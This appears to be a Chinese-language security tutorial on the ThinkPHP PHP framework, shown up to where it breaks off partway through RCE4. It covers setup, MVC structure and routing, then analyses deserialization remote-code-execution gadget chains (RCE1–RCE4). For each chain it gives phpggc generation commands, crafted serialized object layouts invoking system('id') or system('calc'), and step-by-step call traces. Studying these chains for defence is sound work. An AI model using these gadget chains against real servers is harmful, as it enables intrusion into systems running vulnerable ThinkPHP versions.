ThinkPHP 框架安全
ThinkPHP 是中国开发者广泛使用的一款 开源 PHP 框架,由 TopThink 团队 开发,目标是让开发更快、更简单。它遵循 MVC(Model-View-Controller)设计模式,具有良好的代码组织、数据库操作封装、模板引擎等特性。
ThinkPHP 版本架构:
| 版本 | 状态 | 最低 PHP | 说明 |
|---|---|---|---|
| 8.x | 最新稳定,官方推荐 | ≥ PHP 8.1 | 全面 PSR 标准、强类型、属性注解,统一配置系统,内置 FPM/Swow 双运行时支持。性能增强,适配现代 PHP 项目。 |
| 6.1.x | 长期维护 (LTS) | ≥ PHP 7.4 | 社区使用最广,插件教程丰富,架构清晰稳定,适合中大型项目和企业框架基础。 |
| 5.1/5.0 | 仅安全维护 | ≥ PHP 5.6 | 老项目兼容性好,存在多起已知漏洞(如 RCE/LFI 等),不推荐用于新项目开发。 |
ThinkPHP 的源码托管在 GitHub 上:
ThinkPHP 5.x 和以下版本的源码主仓库位于 https://github.com/top-think/framework。不同版本以
tag的形式管理。ThinkPHP 6 起进行了架构重组,并迁移到新的组织下,主仓库是:https://github.com/top-think/think。
在分析时我们先把项目源码下载下来,然后通过 git 切换到对应的版本上。
1 | # 克隆仓库 |
环境基础
项目创建
ThinkPHP 自 5.1 起就全面 Composer 化,框架本体被拆分为多个组件,如 topthink/framework、topthink/think-orm 等;版本号发布统一在 Packagist 上维护。
Packagist 是 Composer 的官方包仓库,所有 PHP 包(类库、框架、插件等)默认都从这里下载安装。
由于 ThinkPHP 的每个版本都可能使用不同的依赖、容器、事件系统,手动放源码无法还原环境差异。因此 ThinkPHP 官方推荐使用 Composer 来创建和管理 ThinkPHP 项目。
我们可以通过下面这条命令创建一个指定版本的 ThinkPHP 项目。
1 | composer create-project topthink/think=版本号 目录名 |
例如:
1 | composer create-project topthink/think=5.0.23 tp5-test |
提示
Composer 默认会自动识别你的 PHP 版本,来判断是否支持该版本的 ThinkPHP。如果版本不满足,它会报错或降级。其中 ThinkPHP 的版本号可以通过 Composer 命令行查询:
1 | composer show topthink/framework --all |
目前支持的版本有:
1 | versions : dev-master, 8.x-dev, v8.1.3, v8.1.2, v8.1.1, v8.1.0, v8.0.4, v8.0.3, v8.0.2, v8.0.1, v8.0.0, v8.0.0-beta, 6.1.x-dev, v6.1.5, v6.1.4, v6.1.3, v6.1.2, v6.1.1, v6.1.0, 6.0.x-dev, v6.0.16, v6.0.15, v6.0.14, v6.0.13, v6.0.12, v6.0.11, v6.0.10, v6.0.9, v6.0.8, v6.0.7, v6.0.6, v6.0.5, v6.0.4, v6.0.3, v6.0.2, v6.0.1, v6.0.0, v6.0.0-rc5, v6.0.0-rc4, v6.0.0-rc3, v6.0.0-rc2, v5.2-rc1, v5.2-beta.3, v5.2-beta.2, 5.1.x-dev, v5.1.42, v5.1.41, v5.1.40, v5.1.39, v5.1.38.1, v5.1.38, v5.1.37.1, v5.1.37, v5.1.36, v5.1.35, v5.1.34, v5.1.33, v5.1.32, v5.1.31, v5.1.30, v5.1.29, v5.1.28, v5.1.27, v5.1.26, v5.1.25, v5.1.24, v5.1.23, v5.1.22, v5.1.21, v5.1.20, v5.1.19, v5.1.18, v5.1.17, v5.1.16, v5.1.15, v5.1.14, v5.1.13, v5.1.12, v5.1.11, v5.1.10, v5.1.9, v5.1.8, v5.1.7, v5.1.6, v5.1.5, v5.1.4, v5.1.3, v5.1.2, v5.1.1, v5.1.0, v5.1-rc.3, v5.1-rc.2, v5.1-rc.1, v5.1-beta.1, v5.0.25, v5.0.24, v5.0.23, v5.0.22, v5.0.21, v5.0.20, v5.0.19, v5.0.18, v5.0.17, v5.0.16, v5.0.15, v5.0.14, v5.0.13, v5.0.12, v5.0.11, v5.0.10, v5.0.9, v5.0.8, v5.0.7, v5.0.6, v5.0.5, v5.0.4, v5.0.3, v5.0.2, v5.0.1, 5.0, 5.0-rc4, 5.0-rc3, 5.0-rc2, 5.0-rc1 |
另外例如 topthink/think=5.0.23 表示的是这个「项目模板包」的版本号是 5.0.23,而 ThinkPHP 的版本号指的是 topthink/framework(也就是 ThinkPHP 框架核心代码)的版本号,这个并没有直接指定。我们可以通过下面这条命令查看 topthink/framework 的实际版本。
1 | composer show topthink/framework |
也就是说下面这条命令表示“我要用一个符合 ThinkPHP 5.0.23 项目结构的模板创建项目”。
1 | composer create-project topthink/think=5.0.23 tp5-test |
而它依赖的 topthink/framework 版本是由这个模板的 composer.json 决定。
1 | "topthink/framework": "5.0.*" |
这个实际上也可以通过下面这条命令查询:
1 | composer show topthink/think 5.0.24 --all |
所以实际安装的是最新的 5.0.x,也就是 topthink/framework@5.0.25。
如果我们想将 topthink/framework 降级到指定版本需要运行下面这条命令:
1 | composer require topthink/framework=5.0.23 |
这条命令会将框架降级到 5.0.23,适用于在 5.0.* 这个小版本范围内自由切换版本(如 5.0.22、5.0.25 等),便于测试历史行为或漏洞验证。
项目结构
ThinkPHP5
一个基于 ThinkPHP5 的典型 Web 项目如下:
1 | tp5-test/ ← ★ 整个项目根目录 |
ThinkPHP6
ThinkPHP 6 相比 ThinkPHP 5 项目结构做了不少 精简与现代化 的调整。一个基于 ThinkPHP6 的典型 Web 项目如下:
1 | tp6-test/ ← ★ 整个项目根目录 |
主要的变化有:
- 应用结构变化:
- TP5 默认启用多模块(模块 = 子应用),每个模块是一个 MVC 单元,位于
application/模块名/下(如index/、admin/)。 - TP6/TP8 默认是单一应用结构,所有控制器、模型等放在
app/目录下。如果需要多模块(多应用模式),需要手动在配置中启用(app.multi_app = true),并手动创建子目录如app/index/、app/admin/。
- TP5 默认启用多模块(模块 = 子应用),每个模块是一个 MVC 单元,位于
- 框架源码位置变化:
- TP5 的框架源码在
thinkphp/目录,是项目结构的一部分。 - TP6/TP8 的框架核心被完全 Composer 化,源码位于
vendor/topthink/framework/src/think/中。
这符合现代 Composer 包管理规范,**thinkphp/目录不再存在**。
- TP5 的框架源码在
- 配置文件组织变化:
- TP5 的配置分布在
application/根下多个文件中(如config.php、database.php)。 - TP6/TP8 把所有配置统一集中到
config/目录中,按功能拆分多个文件(如config/app.php、config/database.php、config/session.php)。配置加载方式也更加标准化和可扩展。
- TP5 的配置分布在
框架使用
ThinkPHP 是一个基于多模块 + MVC 架构模式的 PHP 框架,强调结构分离、路由映射和快速开发。
官方文档:
ThinkPHP 5.0 文档
👉 https://www.kancloud.cn/manual/thinkphp5/118003ThinkPHP 5.1 文档
👉 https://www.kancloud.cn/manual/thinkphp5_1/353946ThinkPHP 6.0 文档
👉 https://www.kancloud.cn/manual/thinkphp6_0/1037479
MVC 架构
MVC 架构是 ThinkPHP 的基础架构设计,强调职责分离、解耦合、协同开发。具体体现在 application 目录下。通常,application 目录下的同一个模块会分为 model、view、controller 三个目录,分别对应 MVC 架构的三个组成部分。在这一架构中,控制器不仅仅是“中介者”,它还负责接收用户请求、验证数据、调度业务逻辑、决定展示视图。
| 组成 | 位置(默认) | 作用说明 |
|---|---|---|
| Model | application/[模块]/model/ |
数据操作层(数据库 CURD、逻辑封装) |
| View | application/[模块]/view/ |
页面展示层(HTML模板、标签) |
| Controller | application/[模块]/controller/ |
业务控制层(请求处理、业务调度) |
例如对于 index 模块,目录结构如下。
1 | application/ |
Controller:控制器层(业务流程控制)
控制器层负责接收请求(参数),验证参数,调用业务逻辑(模型)并最终决定渲染哪一个视图,或返回 JSON 响应。
例如 application/index/controller/User.php:
1 |
|
Model:模型层(数据访问与封装)
在 ThinkPHP 中,模型(Model)是数据库的面向对象封装,每一个模型类通常对应一张数据库表,它提供了数据表结构的映射,字段的类型转换,数据验证、访问、修改等。模型层本质上是对增删改查等操作的封装,因此你可以像操作对象一样去操作数据库。
在 ThinkPHP 中,模型层的对象需要继承于 think\Model。think\Model 是 ThinkPHP 的核心模型基类,内置了很多模型层常用的功能,如:
- 数据库 CURD 方法(
get、all、save、destroy等) - 类型转换(
$type属性) - 自动时间戳写入(
$autoWriteTimestamp) - 访问器与修改器(
getXxxAttr()/setXxxAttr()) - 事件(beforeInsert、afterDelete 等)
而我们在编写模型层代码的时候实际上就是根据业务需求继承填 think\Model 类并充的字段以及重写方法。
例如下面的 application/index/model/User.php 针对的是数据库中的 user 表。
1 |
|
在 ThinkPHP 5 中,模型类默认会自动映射到数据库中的某张表,这个映射是基于约定进行的。默认映射规则如为:
- 类名去掉命名空间部分
- 将驼峰命名转换为下划线风格
- 转为小写
- 添加数据库配置中的前缀(如 tp_)
例如:
| 模型类名 | 默认对应表名 |
|---|---|
User |
tp_user |
UserInfo |
tp_user_info |
OrderDetailItem |
tp_order_detail_item |
其中假设你的数据库配置中定义了前缀 tp_:
1 | // config/database.php |
当然如果你想手动指定模型对应的表名,可以用以下方式:
使用
$name属性(逻辑表名,依然会加前缀)1
2
3
4class User extends Model
{
protected $name = 'member'; // 最终映射到 tp_member 表(受 prefix 影响)
}使用
$table属性(绝对表名,不加前缀)1
2
3
4class User extends Model
{
protected $table = 'custom_user_table'; // 直接使用完整表名
}
View:视图层(页面展示)
在 ThinkPHP 中,视图层负责将数据以 HTML 形式展现给用户。当你在控制器中调用:
1 | return $this->fetch(); // 或者 $this->fetch('index') |
框架会根据以下默认约定路径规则去查找视图文件:
1 | application/ |
例如:
1 | application/ |
框架根据控制器名 + 方法名来自动匹配视图文件。
User::index()→ 渲染view/user/index.htmlUser::create()→ 渲染view/user/create.html
ThinkPHP 使用的是 ThinkTemplate 模板引擎,支持变量输出、条件语句、循环语句、URL 生成等,语法清晰易读,适合快速开发。
视图渲染由控制器完成,使用 $this->fetch() 方法:
1 | return $this->fetch('index', ['users' => $users]); |
- 第一个参数是模板文件名(省略
.html) - 第二个参数是传递给模板的变量数组
你可以在模板中使用 {$users} 来访问传入的数据。常见语法有:
| 功能 | 语法示例 |
|---|---|
| 变量输出 | {$user.name} |
| 条件判断 | {if $user.name == 'admin'}...{/if} |
| 循环输出 | {volist name="users" id="user"}...{/volist} |
| URL 生成 | {:url('user/delete', ['id' => $user.id])} |
| 模板继承 | {extend name="layout"} |
| 模板块定义 | {block name="title"}标题{/block} |
多模块模式
多模块模式是指 ThinkPHP 将应用划分为多个“模块”,每个模块具备完整的 MVC 结构,独立开发和部署。这样可以支持项目复杂性拆分、职责隔离、团队协作,以及每个子系统的独立性。多个模块之间完全解耦,可以在开发过程中减少冲突,提升代码的可重用性。每个模块可以有独立的配置,例如数据库连接、缓存设置等。
例如下面这个目录结构中定义了三个模块:
1 | application/ ← 前台展示(用户访问的网站页面) |
路由访问形式
在 多模块 + MVC 模式下,ThinkPHP 默认的 URL 路由格式如下,这个 URL 路由格式实际上是 ThinkPHP 遵循的“约定优于配置”设计思想的体现。
1 | http://域名/模块/控制器/操作 |
默认情况下,框架根据 URL 解析出模块名、控制器名和方法名,自动映射到 application/ 目录下对应的位置:
/模块:框架会根据 URL 中的模块名去application/模块名/目录查找。/控制器:框架会根据控制器名去controller/控制器名.php查找类文件,类名首字母大写。/操作(方法):框架会调用控制器(对应类文件)中的方法,方法名需要与 URL 中的操作名一致。
例如:
http://localhost/index/index/index→application/index/controller/Index.php::index()http://localhost/admin/user/login→application/admin/controller/User.php::login()http://localhost/api/user/info→application/api/controller/User.php::info()
默认路由规则由框架自动解析,但你可以在 route.php 中定义自定义路由规则,将 URL 映射到不同的控制器和方法,实现路由美化、RESTful 路由等。这样可以对默认的路由行为进行精细控制。
注意
在 PhpStudy 中将网站的根目录修改为 ThinkPHP 的 public 目录是部署的标准做法,但如果没有手动配置伪静态,PhpStudy 默认会覆盖 public/.htaccess 文件为空文件。这将导致 Apache 无法进行 URL 重写,进而使 ThinkPHP 的默认路由失效(如 /index/index/index 会直接返回 404)。
即使你恢复了 ThinkPHP 默认的 .htaccess 文件,其内容如下:
1 | <IfModule mod_rewrite.c> |
这个配置采用的是 PATH_INFO 模式,即希望 Apache 将 index.php/模块/控制器/操作 中 /模块/控制器/操作 自动作为 PATH_INFO 传递给 PHP。但这依赖于服务器环境(Apache + PHP-FPM 或 CGI)是否启用了对 PATH_INFO 的支持。
在 PhpStudy 的默认环境中,往往并未启用 AcceptPathInfo 或 PHP 的 cgi.fix_pathinfo 配置不兼容,因此该写法虽然是 ThinkPHP 默认提供的,却会导致 URL 无法正确解析(框架无法获取到 PATH_INFO)。
为了解决这个问题,我们建议改用 兼容模式 的 .htaccess 重写规则:
1 | <IfModule mod_rewrite.c> |
该规则通过 GET 参数 s 传递 URL 信息,例如访问 /index/index/index 会被重写为:
1 | index.php?s=index/index/index |
ThinkPHP 内部会自动读取 $_GET['s'] 并将其作为 pathinfo 进行解析。这种方式属于 ThinkPHP 支持的 URL 兼容模式,从 TP3 到 TP5.2 都有内置兼容逻辑,对服务器环境几乎没有要求,是最通用、最稳定的解决方案。
route.php 是 ThinkPHP 中定义路由规则的文件,位于 application/ 目录下,主要用于进行 URL 的映射、重写和自定义。默认情况下,ThinkPHP 自动加载该文件,并根据文件中的配置来解析路由规则。
route.php 中的规则用于将 URL 映射到具体的 控制器方法。例如,你可以将 http://localhost/login 映射到 application/admin/controller/User.php 中的 login() 方法。
1 | use think\Route; |
另外 route.php 还支持其他多种路由配置模式:
1 | use think\Route; |
提示
ThinkPHP 的中路径参数是 URL 路径中的一部分,通过路由规则中的 :变量名 来定义。例如下面这个例子:
1 | Route::get('user/:id/:name', 'index/user/profile'); |
路由定义中的 :id、:name 会 自动匹配并注入到函数参数中(路径参数独有的特性),因此我们不需要通过 input 来获取参数。
另外路径参数默认是字符串类型,不会自动进行强制类型转换。如果需要限制传递的参数类型则需要使用 pattern() 限制。
1 | Route::get('user/:id', 'index/user/show')->pattern(['id' => '\d+']); |
但这只是“限制格式”,不等于类型转换,控制器中仍需 (int)$id 或用 /d 过滤。
框架分析
框架结构
源码的目录结构大致如下:
1 | thinkphp/ |
框架启动
路由分发
远程代码执行
SQL 注入
反序列化
RCE1(影响 5.1.x - 5.2.x)
基本信息
影响范围 :5.1.x - 5.2.x
生成命令 :
1
phpggc ThinkPHP/RCE1 system id -b
反序列化对象 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21think\process\pipes\Windows Object
(
[files:think\process\pipes\Windows:private] => Array
(
[0] => think\model\Pivot Object
(
[data:think\Model:private] => Array
(
[smi1e] => id
)
[withAttr:think\Model:private] => Array
(
[smi1e] => system
)
)
)
)反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18think\process\pipes\Windows->__destruct()
└── $this->removeFiles()
└── foreach ($this->files as $filename)
└── file_exists($filename) // ✅ 需要构造:$this->files = [Pivot对象]
think\model\concern\Conversion->__toString()
└── $this->toJson()
└── $this->toArray()
└── $this->getAttr($key) // ✅ 需要构造:
// $this->visible = null(确保走默认分支)
// $this->data = ['smi1e' => 'id'] (任意键值,控制 $key)
// $this->withAttr = ['smi1e' => 'system'](控制执行函数)
think\model\concern\Attribute->getAttr()
└── $value = $this->getData($key) // 从 $this->data[$key] 获取值(如 'id')
└── $fieldName = Loader::parseName($key) // 转为下划线字段名('smi1e' -> 'smi1e')
└── $closure = $this->withAttr[$fieldName]// 取出 system / 匿名函数
└── $closure($value, $this->data) // ✅ 最终执行点,system("id", [...])
调用链分析
think\process\pipes\Windows 类的 __destruct 函数调用到自身的 removeFiles 函数。
1 | public function __destruct() |
think\process\pipes\Windows::removeFiles 函数会对 $this->files 数组中的项调用 file_exists 函数。 file_exists 函数的参数应该是字符串类型,因此该函数内部会触发参数的 __toString 方法。
1 | /** |
提示
在 Windows::removeFiles 之前调用的 Windows::close 函数会遍历 $this->fileHandles 然后调用 fclose 函数释放资源,我们只需要将 $this->fileHandles 设置为空就不会影响到我们的利用流程。
1 | /** |
我们可以在 $this->files 数组中存放一个 think\model\Pivot 对象。
由于 Pivot 通过继承抽象类 Model,而 Model 使用了 think\model\concern\Conversion 和 think\model\concern\Attribute 这两个 trait,从而获得了这些方法:
Pivot->__toString:Conversion::__toStringPivot->getAttr:Attribute::getAttr

因此前面 Windows::removeFiles 调用的 file_exists 触发了 $filename 也就是 Pivot 的 __toString 方法。从而会有 Conversion::__toString → Conversion::toJson → Conversion::toArray 调用链。
1 | public function __toString() |
在 Conversion::toArray 方法中,我们通过设置 $this->visible = null 且 $this->data 不为空就可以调用到 Attribute::getAttr 方法,并且传入的参数是 $this->data 中的一个键。
1 | /** |
Attribute 的函数会调用 $closure 函数变量,并且传入参数 $value。
1 | /** |
参数 $value 来自于 $this->getData($name),Attribute::getData 会返回 $this->data[$name] 的值。
1 | /** |
函数 $closure 来自于 $this->withAttr[$fieldName],而 $fieldName 来自于 Loader::parseName($name)。
函数 Loader::parseName() 是 ThinkPHP 中常见的 命名风格转换工具函数,用于在不同命名风格之间进行转换。因为参数 $type 没有设置,因此该函数按照默认的 $type = 0 将字符串从驼峰转换为下划线。
1 | /** |
也就是说 $closure 和 $value 都是我们可控的,因此我们可以调用 system 函数执行命令。
利用脚本
1 |
|
RCE2(影响 5.0.x)
基本信息
影响范围 :5.0.24,其他 5.0.x 的版本也可以适用。
生成命令 :
1
phpggc ThinkPHP/RCE2 system id -b -u
反序列化对象 :
反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66think\process\pipes\Windows->__destruct()
└── removeFiles()
└── foreach ($this->files as $filename)
└── file_exists($filename) // ✅ 触发 __toString()
think\model\Pivot->__toString() // 从 Model 抽象类继承
└── toJson()
└── toArray()
└── foreach ($this->append as $name) // ✅ 构造 $this->append = ['getError']
└── method_exists($this, $name) // ✅ getError 存在
└── $modelRelation = $this->$name() // ✅ 返回 HasOne 对象
└── $value = $this->getRelationData($modelRelation)
└── $this->parent !== null // ✅ Pivot->parent = Output
└── !$modelRelation->isSelfRelation() // ✅ HasOne->selfRelation = false
└── get_class($modelRelation->getModel()) == get_class($this->parent)
└── return $this->parent // ✅ 返回 Output 对象
└── $bindAttr = $modelRelation->getBindAttr() // ✅ 返回 ['no']
└── foreach ($bindAttr as $attr)
└── $value->getAttr($attr) // ✅ Output 没有 getAttr,进入 __call()
think\console\Output->__call("getAttr", ["no"])
└── if (in_array($method, $this->styles)) // ✅ 构造 $this->styles = ['getAttr']
└── array_unshift($args, $method) // ✅ $args = ['getAttr', 'no']
└── call_user_func_array([$this, 'block'], ['getAttr', 'no'])
└── block("getAttr", "no")
└── writeln("<getAttr>no</getAttr>")
└── write("<getAttr>no</getAttr>", true, 0)
└── $this->handle->write("<getAttr>no</getAttr>", true, 0) // ✅ $this->handle 为 Memcached
think\session\driver\Memcached->write($sessID, $sessData, $expire)
└── $sessID = "<getAttr>no</getAttr>", $sessData = true, $expire = 3600
└── $this->handler->set("HEXENS" . $sessID, $sessData, $expire)
→ set("HEXENS<getAttr>no</getAttr>", true, 3600)
think\cache\driver\Memcache->set("HEXENS<getAttr>no</getAttr>", true, 3600)
└── if (is_null($expire)) → false // ✅ $expire = 3600,不为空
└── if ($expire instanceof \DateTime) → false // ✅ $expire 是整数,不是对象
└── if ($this->tag && !$this->has($name)) // ✅ $this->tag = true,执行 $this->has()
└── $this->has("HEXENS<getAttr>no</getAttr>")
└── $key = $this->getCacheKey($name)
→ $key = "HEXENS<getAttr>no</getAttr>"
└── $key = $this->getCacheKey($name)
└── $key = $this->options['prefix'] . $name // ✅ 默认 $this->options['prefix'] = ''
└── $key = "HEXENS<getAttr>no</getAttr>" // ✅ 保持键名原样不变
└── $this->handler->get($key) // ✅ handler 是 think\Request 对象
think\Request->get("HEXENS<getAttr>no</getAttr>")
└── input($this->get, $name = "HEXENS<getAttr>no</getAttr>", $default = null, $filter = '')
└── strpos($name, '/') → true
└── list($name, $type) = explode('/', $name)
└── $name = "HEXENS<getAttr>no<" // ✅ '/' 被当作类型分隔符,保留 '<'
└── $type = "getAttr>"
└── foreach (explode('.', $name)) // ✅ 无 '.',单段字段
└── $val = "HEXENS<getAttr>no<"
└── $data = $this->get[$val] // ✅ 命中键名,取出 'calc'
└── $value = 'calc'
└── getFilter($filter = '', $default = null)
└── $filter = $filter ?: $this->filter = 'system' // ✅ 设置默认过滤器
└── explode(',', $filter) → ['system'] // ✅ 生成过滤器函数名数组
└── $filter[] = $default = null // ✅ 最终 filters = ['system', null]
└── $filters = ['system', null]
└── filterValue($value = 'calc', $key = 'HEXENS<getAttr>no<', $filters)
└── $default = array_pop($filters) → null // ✅ 弹出 null,剩 ['system']
└── foreach ($filters as $filter)
└── is_callable($filter) = true
└── call_user_func($filter = 'system', $value = 'calc') // ✅ 命令执行点
调用链分析
首先调用链前半部分与 RCE1 相同,只不过 5.0.x 版本的 ThinkPHP 的没有 think\model\concern\Conversion 和 think\model\concern\Attribute 这两个 trait,也就是说 think\model\Pivot 的 __toString 等方法都是通过继承抽象类 Model 获得的。
因此调用链为:
1 | think\process\pipes\Windows->__destruct() |
think\model\Pivot->toArray 方法在 5.0.x 的实现和前面的 5.1.x 不同,并且绕过过程比较复杂。这个函数最终执行的效果就是调用到 think\console\Output->getAttr 方法。
1 |
|
其中 Model 的 getRelationData 方法可以通过构造 Pivot 对象使其返回可控的 Pivot->parent 对象。
1 | /** |
通过伪造 ``Pivot->parent指向的think\console\Output 对象(styles设置为[“getAttr”]),的 Output->__call方法可以形成如下调用链,最终会调用到$this->handle->write` 方法。
1 | // method = "getAttr", $args = ["no"] |
其中 $this->handle 被设置为 think\session\driver\Memcached 对象。而 Memcached->write 函数实现如下。其中 Memcached->handler 被设置为 think\cache\driver\Memcache 对象,因此会调用到 该对象的 set 方法。
1 | config = [ |
在 think\cache\driver\Memcache 对象中有如下调用链,最终调用到 think\Request->get 方法。
1 | /** |
think\Request->get 函数进一步会调用 think\Request->input 函数,并传入 $this->get = ['HEXENS<getAttr>no<' => 'calc'] 参数。
1 | /** |
think\Request->input 函数
1 | protected function getFilter($filter, $default) |
think\Request->filterValue 函数先是从 $filters 中移除最后一项 null,之后遍历 $filters 数组依次调用里面的函数并且参数为 $value。由于函数和参数都可控,因此我们可以调用 system 函数执行任意命令。
1 | /** |
利用脚本
1 |
|
RCE3(影响 6.0.1+)
基本信息
影响范围 :6.0.1+
生成命令 :
1
phpggc ThinkPHP/RCE3 system id -b -u
反序列化对象 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27League\Flysystem\Cached\Storage\Psr6Cache Object
(
[pool:League\Flysystem\Cached\Storage\Psr6Cache:private] => League\Flysystem\Directory Object
(
[filesystem:protected] => League\Flysystem\Directory Object
(
[filesystem:protected] => think\Validate Object
(
[type:protected] => Array
(
[key] => system
)
)
[path:protected] => calc
)
[path:protected] => key
)
[autosave:protected] =>
[key:protected] => Array
(
)
)反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24League\Flysystem\Cached\Storage\Psr6Cache->__destruct()
└── save()
└── $this->pool->getItem($this->key) // ✅ $this->pool = Directory1,无 getItem 方法
└── Directory->__call("getItem", [$this->key]) // ✅ 第一次 __call
League\Flysystem\Directory->__call("getItem", [$this->key])
└── array_unshift($arguments, $this->path) // ✅ $arguments = [$path1, $key]
└── call_user_func_array([$this->filesystem, "getItem"], [$path1, $key])
└── Directory->__call("getItem", [$path1, $key]) // ✅ 第二次 __call(filesystem = Directory2)
League\Flysystem\Directory->__call("getItem", [$path1, $key])
└── array_unshift($arguments, $this->path) // ✅ $arguments = [$path2, $path1, $key]
└── call_user_func_array([$this->filesystem, "getItem"], [$path2, $path1, $key])
└── think\Validate->__call("getItem", [$path2, $path1, $key])
think\Validate->__call("getItem", [$path2, $path1, $key])
└── array_push($args, 'getItem') // ✅ $args = [$path2, $path1, $key, 'getItem']
└── call_user_func_array([$this, 'is'], [$path2, $path1, $key, 'getItem'])
think\Validate->is($value = $path2, $rule = $path1, $data = $key)
└── $data 类型必须为 array // ✅ 否则触发 TypeError
└── switch (Str::camel($rule)) → default
└── isset($this->type[$rule]) → true // ✅ $this->type[$path1] = 'system'
└── call_user_func_array($this->type[$rule], [$value]) // ✅ system($path2)
调用链分析
League\Flysystem\Cached\Storage\Psr6Cache 类继承于 League\Flysystem\Cached\Storage\AbstractCache,因此析构的时候调用的是 AbstractCache->__destruct 函数。
在该 __destruct 函数中,如果 AbstractCache 的 $autosave 属性值为 false,则会调用到 Psr6Cache->save 函数。
1 | /** |
Psr6Cache->save 函数会调用 $this->pool 的 getItem 方法,参数为 $this->key。
1 | /** |
由于我们设置 $this->pool 为 League\Flysystem\Directory 对象,该对象没有 getItem 方法,因此会调用到 Directory 实现的抽象类 League\Flysystem\Handler 的 __call 方法。
1 | /** |
这个函数主要功能是在 $this 自身没有 $method 方法的情况下调用 $this->filesystem 的 $method 方法,而参数方面则在原始参数的基础上将 $this->path 插到第一个参数上,也就是 [Directory->path, Psr6Cache->key]。
由于 $this->filesystem 是我们可控的,因此我们可以调用任意对象的 getItem(或者是 __call)方法,并且有两个可控参数。
在 ThinkPHP 中有另一个 think\Validate 类,这个类的 __call 方法会调用类的 is 方法,同时参数传入原本的参数和经过转换后(按照小驼峰规则去掉 is 前缀)的方法名。
1 | /** |
而对于 think\Validate 类的 is 方法,如果前面的 call_user_func_array 的参数 $args 满足下面两个条件:
第 2 个参数转换为小驼峰后不是
require,accepted,date,activeUrl,boolean,bool,number,alphaNum,array,file,image,token中的任意一个。第 3 个参数类型为数组。因为如果
$args中的第三个参数不是数组类型,会出现 PHP 类型错误(TypeError)PHP 是弱类型语言,但从 PHP 7.0 起引入了“严格类型”提示机制(严格参数类型声明)。这里的
array $data就是 参数类型强约束(type hinting),不是“弱类型”的行为。
就可以调用 $this->type[$rule] 指定的方法,并传入参数 $value。这里 $rule 和 $value 分别是前面 __call 传入的第 1、2 个参数。
1 | /** |
因此我们不难想到利用前面 Directory 的 __call 方法的 call_user_func_array 调用 Validate 类的 __call 方法来实现 RCE。
然而虽然 Validate 类没有 getItem 因此可以调到 __call 函数,但是 Validate 需要我们有 3 个参数可控,而我们利用 Directory 的 __call 方法调用过来只有 2 个参数可控,不满足利用条件。
不过我们观察到 Directory 的 __call 方法在调用 call_user_func_array 之前会向参数列表的头部插入一个 $this->path ,因此我们可以再调用一次 Directory 的 __call 方法确保参数数组中有 3 个值可控,然后再调用 Validate 类的 __call 方法来实现 RCE。
利用脚本
1 |
|
RCE4(影响 6.0.1+)
基本信息
影响范围 :6.0.1+
生成命令 :
1
phpggc ThinkPHP/RCE4 system id -b -u
反序列化对象 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40think\model\Pivot Object
(
[exists:think\Model:private] => 1
[force:think\Model:private] => 1
[lazySave:think\Model:private] => 1
[data:think\Model:private] => Array
(
[0] => 0
)
[suffix:protected] => think\model\Pivot Object
(
[data:think\Model:private] => Array
(
[key] => Array
(
[key] => calc
)
)
[withAttr:think\Model:private] => Array
(
[key] => Array
(
[key] => system
)
)
[json:protected] => Array
(
[0] => key
)
[jsonAssoc:protected] => 1
)
[withEvent:protected] =>
)反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42think\model\Pivot->__destruct()
└── if ($this->lazySave) // ✅ $this->lazySave = true,进入判断
└── save(array $data = [], string $sequence = null): bool
└── $this->setAttrs([]) // ✅ 空数组,无属性被设置
└── if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) // ✅ $this->data 非空;$this->withEvent = false → trigger 返回 true,不进入
└── if ($this->exists) // ✅ $this->exists = true,进入分支
└── updateData(): bool
└── if (false === $this->trigger('BeforeUpdate')) // ✅ $this->withEvent = false → trigger 返回 true,不进入
└── $this->checkData() // ✅ 空实现,无操作
└── getChangedData(): array // ✅ 返回的 $data 必须是 array 类型的
└── if ($this->force) // ✅ $this->force = true
└── $data = $this->data // ✅ $this->data = ['key' => ['key' => 'calc']]
└── foreach ($this->readonly as $key => $field) // ✅ $this->readonly = [],不进入循环
└── return $data
└── if (empty($data)) // ✅ $data 非空,不进入
└── if ($this->autoWriteTimestamp && $this->updateTime) // ✅ autoWriteTimestamp = null,不进入
└── checkAllowFields(): array
└── if (empty($this->field)) // ✅ field = null,进入
└── if (!empty($this->schema)) // ✅ schema = null,不进入
└── $query = $this->db(array $scope = [])
└── $query = self::$db->connect($this->connection)
└── $query->name($this->name . $this->suffix) // ✅ $this->name 为 Pivot 对象,触发 __toString()
think\model\Pivot->__toString(): string // ✅ 魔术方法入口
└── toJson(int $options = JSON_UNESCAPED_UNICODE): string
└── toArray(): array
└── $data = array_merge($this->data, $this->relation) // ✅ $this->relation = [],合并后仍为 $this->data
└── foreach ($data as $key => $val) // ✅ $this->data = ['key' => ['key' => 'calc']]
└── if (!isset($this->hidden[$key]) && !$hasVisible) // ✅ hidden = [],hasVisible = false,进入判断
└── getAttr($key = "key")
└── getData(string $name = "key")
└── $fieldName = $this->getRealFieldName("key") // ✅ strict = true 且无驼峰转换,返回 "key"
└── if (array_key_exists("key", $this->data)) // ✅ 命中
└── return $this->data["key"] = ["key" => "calc"]
└── getValue(string $name = "key", mixed $value = ["key" => "calc"], bool $relation = false)
└── $fieldName = $this->getRealFieldName("key") // ✅ 返回 "key"
└── if (isset($this->withAttr["key"])) // ✅ 存在
└── if (in_array("key", $this->json)) // ✅ json = ["key"]
└── if ($this->jsonAssoc) // ✅ jsonAssoc = true
└── getJsonValue($name = "key", $value = ["key" => "calc"])
